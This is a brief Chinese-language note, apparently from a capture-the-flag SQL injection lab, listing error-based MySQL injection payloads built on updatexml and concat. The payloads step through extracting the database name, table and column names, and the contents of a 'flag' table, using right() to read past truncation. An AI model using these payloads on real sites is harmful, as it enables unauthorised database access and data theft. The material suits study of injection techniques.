做网站的框架模版/郑州seo优化阿亮

用到的函数

updatexml(1，       ，1)

concat(0x7e,       ,0x7e)

group_concat(目标值)

right(，32) 

1

1'

 1 union select updatexml(1,concat(0x7e,database(),0x7e),1)

1 union select updatexml(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schema='sqli'),0x7e),1)

1 union select updatexml(1,concat(0x7e,(select(group_concat(column_name))from information_schema.columns where table_schema='sqli' and table_name='flag'),0x7e),1)

 1 union select updatexml(1,concat(0x7e,(select(group_concat(flag))from sqli.flag),0x7e),1)

 1 union select updatexml(1,concat(0x7e,right((select(group_concat(flag))from sqli.flag),32),0x7e),1)